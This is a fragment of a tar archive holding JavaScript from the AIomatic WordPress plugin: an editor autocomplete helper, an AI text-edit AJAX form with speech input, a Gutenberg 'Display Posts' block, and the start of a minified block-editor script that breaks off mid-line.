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"; let spinnerHtml = ''; if (['li'].includes(selectedNode.tagName.toLowerCase())) { spinnerHtml = '<' + selectedNode.tagName + ' id="' + loadingSpinnerId + '" class="aiomatic-mce-loading"><img src="' + spinnersrc + '"></' + selectedNode.tagName + '>'; } else { spinnerHtml = '<p id="' + loadingSpinnerId + '" class="aiomatic-mce-loading"><img src="' + spinnersrc + '"></p>'; } return spinnerHtml; } const aiomatic_classic_doAutocompleteRequest = async function (text) { const ajaxurl = aiomatic.ajaxurl; const nonce = aiomatic.nonce; const xdata = new FormData(); xdata.append( 'prompt', text ); xdata.append( 'nonce', nonce ); xdata.append( 'action', 'aiomatic_editor' ); const response = await fetch(ajaxurl, { method: 'POST', body: xdata }).catch(async error => { throw new Error(await error.text()); }) if (!response.ok) { throw new Error(await response.text()); } const ret = await response.json(); if (ret.message !== undefined) { throw new Error(await response.text()); } return ret.data.content; } const aiomatic_classic_doImageRequest = async function (text) { const ajaxurl = aiomatic.ajaxurl; const nonce = aiomatic.nonce; const xdata = new FormData(); xdata.append( 'prompt', text ); xdata.append( 'nonce', nonce ); xdata.append( 'action', 'aiomatic_imager' ); const response = await fetch(ajaxurl, { method: 'POST', body: xdata }).catch(async error => { throw new Error(await error.text()); }) if (!response.ok) { throw new Error(await response.text()); } const ret = await response.json(); if (ret.message !== undefined) { throw new Error(await response.text()); } return ret.data.content; } const aiomatic_classic_addAutocompleteContainer = async function (placement, ed) { let $ = tinymce.dom.DomQuery; const loadingSpinnerId = Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15); let selectionRange = ed.selection.getRng(); if (placement === 'below') { let selectedNode = ed.selection.getEnd(); let spinnerHtml = createLoadingSpinner( selectedNode, loadingSpinnerId, ) let spinnerDom = $(spinnerHtml)[0]; let parentNode = selectionRange.endContainer.parentNode; if (parentNode.tagName.toLowerCase() === 'li') { $(selectedNode).after(spinnerDom); } else if (selectedNode.textContent) { selectionRange.collapse(false); selectionRange.insertNode(spinnerDom); ed.selection.collapse(); } else { $(selectedNode).after(spinnerDom); } } else { let selectedNode = ed.selection.getStart(); let spinnerHtml = createLoadingSpinner( selectedNode, loadingSpinnerId, ) let spinnerDom = $(spinnerHtml)[0]; let parentNode = selectionRange.startContainer.parentNode; if (parentNode.tagName.toLowerCase() === 'li') { $(selectedNode).before(spinnerDom); } else if (selectedNode.textContent) { selectionRange.collapse(true); selectionRange.insertNode(spinnerDom); ed.selection.collapse(); } else { $(selectedNode).before(spinnerDom); } } ed.undoManager.add(); return loadingSpinnerId; }�����������������������������������������������������������������������������������������������������������������������scripts/openai-edit-ajax.js�������������������������������������������������������������������������0000644�����������������00000012720�14757771437�0011740 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; function openaieditfunct() { jQuery('#aieditsubmitbut').attr('disabled', true); var input_text = jQuery('#aiomatic_edit_input').val(); var instruction = jQuery('#aiomatic_edit_instruction').val(); var model = aiomatic_edit_ajax_object.model; var user_token_cap_per_day = aiomatic_edit_ajax_object.user_token_cap_per_day; var user_id = aiomatic_edit_ajax_object.user_id; // Show the loading animation jQuery('#openai-edit-response').html('<div class="automaticx-dual-ring"></div>'); var temp = aiomatic_edit_ajax_object.temp; var top_p = aiomatic_edit_ajax_object.top_p; if(temp == 'default' || temp == '') { temp = jQuery('#temperature-edit-input').val(); } if(top_p == 'default' || top_p == '') { top_p = jQuery('#top_p-edit-input').val(); } if(model == 'default' || model == '') { model = jQuery( "#model-edit-selector option:selected" ).text(); } if(instruction === "") { console.log('Instruction cannot be empty.'); jQuery('#openai-edit-response').html('<div class="text-primary highlight-text-fail" role="status">Please add a command in the instruction field.</div>'); jQuery('#aieditsubmitbut').attr('disabled', false); } else { jQuery.ajax({ type: 'POST', url: aiomatic_edit_ajax_object.ajax_url, data: { action: 'aiomatic_edit_submit', input_text: input_text, instruction: instruction, nonce: aiomatic_edit_ajax_object.nonce, temp: temp, top_p: top_p, model: model, user_token_cap_per_day: user_token_cap_per_day, user_id: user_id }, success: function(response) { if(typeof response === 'string' || response instanceof String) { try { var responset = JSON.parse(response); response = responset; } catch (error) { console.error("An error occurred while parsing the JSON: " + error + ' Json: ' + response); } } if(response.status == 'success') { if(response.data == '') { jQuery('#openai-edit-response').html('<div class="text-primary" role="status">No edit was returned. Please try using a different text input.</div>'); } else { jQuery('#aiomatic_edit_response').val(response.data); jQuery('#openai-edit-response').html(''); } } else { if(typeof response.msg !== 'undefined') { jQuery('#openai-edit-response').html('<div class="text-primary highlight-text-fail" role="status">' + response.msg + '</div>'); } else { console.log('Error: ' + response); jQuery('#openai-edit-response').html('<div class="text-primary highlight-text-fail" role="status">Processing failed, please try again</div>'); } } jQuery('#aieditsubmitbut').attr('disabled', false); }, error: function(error) { console.log('Error: ' + error.responseText); jQuery('#openai-edit-response').html('<div class="text-primary highlight-text-fail" role="status">Failed to edit content, try again later.</div>'); // Enable the submit button jQuery('#aieditsubmitbut').attr('disabled', false); }, }); } } var recognition; var recognizing = false; jQuery(document).ready(function() { jQuery('#copy-edit-button').on('click', function() { var jsf = jQuery("#aiomatic_edit_response").val(); if(navigator.clipboard !== undefined) { navigator.clipboard.writeText(jsf); } }); if(!jQuery('#aiomatic_edit_templates').length) { if ('webkitSpeechRecognition' in window) { recognition = new webkitSpeechRecognition(); recognition.continuous = true; recognition.interimResults = true; jQuery('#openai-edit-speech-button').on('click', function() { if (recognizing) { recognition.stop(); recognizing = false; } else { recognition.start(); recognizing = true; } }); recognition.onresult = function(event) { for (var i = event.resultIndex; i < event.results.length; ++i) { if (event.results[i].isFinal) { jQuery('#aiomatic_edit_input').val(jQuery('#aiomatic_edit_input').val() + " " + event.results[i][0].transcript); } } }; } } else { jQuery('#aiomatic_edit_templates').on('change', function() { jQuery('#aiomatic_edit_instruction').val(jQuery( "#aiomatic_edit_templates" ).val()); }); } });������������������������������������������������scripts/display-posts.js����������������������������������������������������������������������������0000644�����������������00000077123�14757771437�0011444 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������"use strict"; var { registerBlockType } = wp.blocks; var gcel = wp.element.createElement; registerBlockType( 'aiomatic-automatic-ai-content-writer/aiomatic-display', { title: 'AIomatic Display Posts', icon: 'text', category: 'embed', attributes: { ruletype : { default: '', type: 'string', }, ruleid : { default: '', type: 'string', }, wrapper : { default: 'ul', type: 'string', }, read_more_text : { default: '', type: 'string', }, wrapper_class : { default: 'display-posts-listing', type: 'string', }, excerpt_font_size : { default: '100%', type: 'string', }, title_font_size : { default: '100%', type: 'string', }, link_to_source : { default: 'no', type: 'string', }, excerpt_color : { default: '#000000', type: 'string', }, title_color : { default: '#000000', type: 'string', }, posts_per_page : { default: '10', type: 'string', }, post_type : { default: 'post', type: 'string', }, orderby : { default: 'date', type: 'string', }, no_posts_message : { default: 'No posts found.', type: 'string', }, include_title : { default: 'true', type: 'string', }, include_link : { default: 'true', type: 'string', }, include_excerpt : { default: 'false', type: 'string', }, include_date : { default: 'false', type: 'string', }, include_content : { default: 'false', type: 'string', }, include_author : { default: 'false', type: 'string', }, image_size : { default: 'false', type: 'string', }, excerpt_more : { default: 'false', type: 'string', }, excerpt_more_link : { default: 'false', type: 'string', }, excerpt_length : { default: 'false', type: 'string', }, date_format : { default: '(n/j/Y)', type: 'string', }, content_class : { default: 'content', type: 'string', }, author : { default: '', type: 'string', } }, keywords: ['display', 'posts', 'aiomatic'], edit: (function( props ) { var ruletype = props.attributes.ruletype; var ruleid = props.attributes.ruleid; var wrapper = props.attributes.wrapper; var read_more_text = props.attributes.read_more_text; var wrapper_class = props.attributes.wrapper_class; var excerpt_font_size = props.attributes.excerpt_font_size; var title_font_size = props.attributes.title_font_size; var excerpt_color = props.attributes.excerpt_color; var title_color = props.attributes.title_color; var posts_per_page = props.attributes.posts_per_page; var post_type = props.attributes.post_type; var orderby = props.attributes.orderby; var no_posts_message = props.attributes.no_posts_message; var include_title = props.attributes.include_title; var include_link = props.attributes.include_link; var include_excerpt = props.attributes.include_excerpt; var include_date = props.attributes.include_date; var include_content = props.attributes.include_content; var include_author = props.attributes.include_author; var image_size = props.attributes.image_size; var excerpt_more = props.attributes.excerpt_more; var excerpt_more_link = props.attributes.excerpt_more_link; var excerpt_length = props.attributes.excerpt_length; var date_format = props.attributes.date_format; var content_class = props.attributes.content_class; var author = props.attributes.author; function updateMessage( event ) { props.setAttributes( { ruletype: event.target.value} ); } function updateMessage2( event ) { props.setAttributes( { ruleid: event.target.value} ); } function updateMessage3( event ) { props.setAttributes( { wrapper: event.target.value} ); } function updateMessage4( event ) { props.setAttributes( { read_more_text: event.target.value} ); } function updateMessage5( event ) { props.setAttributes( { wrapper_class: event.target.value} ); } function updateMessage6( event ) { props.setAttributes( { excerpt_font_size: event.target.value} ); } function updateMessage7( event ) { props.setAttributes( { title_font_size: event.target.value} ); } function updateMessage8( event ) { props.setAttributes( { excerpt_color: event.target.value} ); } function updateMessage9( event ) { props.setAttributes( { title_color: event.target.value} ); } function updateMessage10( event ) { props.setAttributes( { posts_per_page: event.target.value} ); } function updateMessage11( event ) { props.setAttributes( { post_type: event.target.value} ); } function updateMessage12( event ) { props.setAttributes( { orderby: event.target.value} ); } function updateMessage13( event ) { props.setAttributes( { no_posts_message: event.target.value} ); } function updateMessage14( event ) { props.setAttributes( { include_title: event.target.value} ); } function updateMessage15( event ) { props.setAttributes( { include_link: event.target.value} ); } function updateMessage16( event ) { props.setAttributes( { include_excerpt: event.target.value} ); } function updateMessage17( event ) { props.setAttributes( { include_date: event.target.value} ); } function updateMessage18( event ) { props.setAttributes( { include_content: event.target.value} ); } function updateMessage19( event ) { props.setAttributes( { include_author: event.target.value} ); } function updateMessage20( event ) { props.setAttributes( { image_size: event.target.value} ); } function updateMessage21( event ) { props.setAttributes( { excerpt_more: event.target.value} ); } function updateMessage22( event ) { props.setAttributes( { excerpt_more_link: event.target.value} ); } function updateMessage23( event ) { props.setAttributes( { excerpt_length: event.target.value} ); } function updateMessage24( event ) { props.setAttributes( { date_format: event.target.value} ); } function updateMessage25( event ) { props.setAttributes( { content_class: event.target.value} ); } function updateMessage26( event ) { props.setAttributes( { author: event.target.value} ); } return gcel( 'div', { className: 'coderevolution_gutenberg_div' }, gcel( 'h4', { className: 'coderevolution_gutenberg_title' }, 'AIomatic Display Posts ', gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'This block is used to display posts generated by this plugin. It has many features that can be customized.' ) ) ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Rule Type: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the source of the posts that will be listed.' ) ), gcel( 'select', { value: ruletype, onChange: updateMessage, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 0}, 'Spintax to Posts' ), gcel( 'option', { value: ''}, 'Any' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Rule ID: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the ID of the rule you wish to list posts from. To list all posts from a specific rule, leave this field blank.' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Rule id to list', value: ruleid, onChange: updateMessage2, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Wrapper: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the wrapper type that will be used for displaying results.' ) ), gcel( 'select', { value: wrapper, onChange: updateMessage3, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'ul'}, 'List' ), gcel( 'option', { value: 'div'}, 'Div' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Read More Text: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Input the text that will be displayed for the "Read More" link.' ) ), gcel( 'textarea', { rows:1,placeholder:'Read more...', value: read_more_text, onChange: updateMessage4, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Wrapper Class: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the class that will be used for wrapping results.' ) ), gcel( 'textarea', { rows:1,placeholder:'div class', value: wrapper_class, onChange: updateMessage5, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Excerpt Font Size: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the font size of the excerpt (CSS font size supported).' ) ), gcel( 'textarea', { rows:1,placeholder:'10px', value: excerpt_font_size, onChange: updateMessage6, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Title Font Size: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the font size of the title (CSS font size supported).' ) ), gcel( 'textarea', { rows:1,placeholder:'12px', value: title_font_size, onChange: updateMessage7, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Excerpt Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the color of the excerpt (CSS font color supported).' ) ), gcel( 'textarea', { rows:1,placeholder:'#000000', value: excerpt_color, onChange: updateMessage8, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Title Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the color of the title (CSS font color supported).' ) ), gcel( 'textarea', { rows:1,placeholder:'#000000', value: title_color, onChange: updateMessage9, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Posts Per Page: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the number of posts to be shown at max.' ) ), gcel( 'input', { type:'number',min:1,placeholder:'10', value: posts_per_page, onChange: updateMessage10, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Post Type: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the post type to be listed. You can input a comma separated list of multiple post types (custom post types supported).' ) ), gcel( 'textarea', { rows:1,placeholder:'post', value: post_type, onChange: updateMessage11, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Order By: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select how to order results.' ) ), gcel( 'select', { value: orderby, onChange: updateMessage12, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'none'}, 'none' ), gcel( 'option', { value: 'date'}, 'date' ), gcel( 'option', { value: 'ID'}, 'ID' ), gcel( 'option', { value: 'author'}, 'author' ), gcel( 'option', { value: 'title'}, 'title' ), gcel( 'option', { value: 'name'}, 'name' ), gcel( 'option', { value: 'type'}, 'type' ), gcel( 'option', { value: 'modified'}, 'modified' ), gcel( 'option', { value: 'parent'}, 'parent' ), gcel( 'option', { value: 'rand'}, 'rand' ), gcel( 'option', { value: 'comment_count'}, 'comment_count' ), gcel( 'option', { value: 'relevance'}, 'relevance' ), gcel( 'option', { value: 'menu_order'}, 'menu_order' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'No Posts Message: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the message that will be shown when no posts found.' ) ), gcel( 'textarea', { rows:1,placeholder:'No posts found.', value: no_posts_message, onChange: updateMessage13, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Include Title: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select if you wish to include the title in results.' ) ), gcel( 'select', { value: include_title, onChange: updateMessage14, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'true'}, 'true' ), gcel( 'option', { value: 'false'}, 'false' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Include Link: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select if you wish to include the link in results.' ) ), gcel( 'select', { value: include_link, onChange: updateMessage15, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'true'}, 'true' ), gcel( 'option', { value: 'false'}, 'false' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Include Excerpt: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select if you wish to include the excerpt in results.' ) ), gcel( 'select', { value: include_excerpt, onChange: updateMessage16, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'false'}, 'false' ), gcel( 'option', { value: 'true'}, 'true' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Include Date: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select if you wish to include the date in results.' ) ), gcel( 'select', { value: include_date, onChange: updateMessage17, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'false'}, 'false' ), gcel( 'option', { value: 'true'}, 'true' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Include Content: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select if you wish to include the content in results.' ) ), gcel( 'select', { value: include_content, onChange: updateMessage18, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'false'}, 'false' ), gcel( 'option', { value: 'true'}, 'true' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Include Author: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select if you wish to include the author in results.' ) ), gcel( 'select', { value: include_author, onChange: updateMessage19, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'false'}, 'false' ), gcel( 'option', { value: 'true'}, 'true' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Image Size: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the image size to be shown in results.' ) ), gcel( 'select', { value: image_size, onChange: updateMessage20, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'thumbnail'}, 'thumbnail' ), gcel( 'option', { value: 'medium'}, 'medium' ), gcel( 'option', { value: 'large'}, 'large' ), gcel( 'option', { value: 'full'}, 'full' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Show Read More: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select if you wish to show the "Read More" button in results.' ) ), gcel( 'select', { value: excerpt_more, onChange: updateMessage21, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'false'}, 'false' ), gcel( 'option', { value: 'true'}, 'true' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Link Read More: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select if you wish to link the "Read more" text from the excerpt.' ) ), gcel( 'select', { value: excerpt_more_link, onChange: updateMessage22, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'false'}, 'false' ), gcel( 'option', { value: 'true'}, 'true' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Excerpt Lenght: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the length of the excerpt (word count).' ) ), gcel( 'input', { type:'number', min:1, placeholder:'30', value: excerpt_length, onChange: updateMessage23, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Date Format: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Input the date format to be used.' ) ), gcel( 'textarea', { rows:1,placeholder:'(n/j/Y)', value: date_format, onChange: updateMessage24, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Content Class: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Input the class to be assigned to resulting content.' ) ), gcel( 'textarea', { rows:1,placeholder:'content', value: content_class, onChange: updateMessage25, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Post Author: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Input the user_nicename of the author to list posts from. You can also use "current" to list posts for the currently logged in user.' ) ), gcel( 'textarea', { rows:1,placeholder:'author name', value: author, onChange: updateMessage26, className: 'coderevolution_gutenberg_input' } ) ); }), save: (function( props ) { return null; }), } );���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/gutenberg-editor.js�������������������������������������������������������������������������0000644�����������������00000063025�14757771437�0012073 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; function aiomatic_uniq_fast(a) { var seen = {}; var out = []; var len = a.length; var j = 0; for(var i = 0; i < len; i++) { var item = a[i]; var jsit = JSON.stringify(item); if(seen[jsit] !== 1) { seen[jsit] = 1; out[j++] = item; } } return out; } (() => { var t, e = { 401: () => { const t = window.wp.element, e = window.wp.richText, o = window.wp.blockEditor, r = window.wp.components; async function c() { let t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : "below", e = l(), [o, r] = p(e), c = r.clientId, a = o.clientId, n = wp.data.select("core/block-editor").getBlock(c), s = '<span id="' + (Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15)) + '" class="aiomatic-editor-loading"></span>'; if ("above" === t) { let t = wp.blocks.createBlock("core/paragraph", { content: s }), e = wp.data.select("core/block-editor").getBlockIndex(a), o = wp.data.select("core/block-editor").getBlockRootClientId(a); return await wp.data.dispatch("core/block-editor").insertBlock(t, e, o), t } if (e.length > 1 || "core/paragraph" !== n.name) { let t = wp.blocks.createBlock("core/paragraph", { content: s }), e = wp.data.select("core/block-editor").getBlockRootClientId(c), o = wp.data.select("core/block-editor").getBlockIndex(c) + 1; if (!wp.data.select("core/block-editor").canInsertBlockType("core/paragraph", e)) for (; e && (o = wp.data.select("core/block-editor").getBlockIndex(e) + 1, e = wp.data.select("core/block-editor").getBlockRootClientId(e), !wp.data.select("core/block-editor").canInsertBlockType("core/paragraph", e));); return await wp.data.dispatch("core/block-editor").insertBlock(t, o, e), t } let d = wp.data.select("core/block-editor").getBlockRootClientId(c); if (!wp.data.select("core/block-editor").canInsertBlockType("core/paragraph", 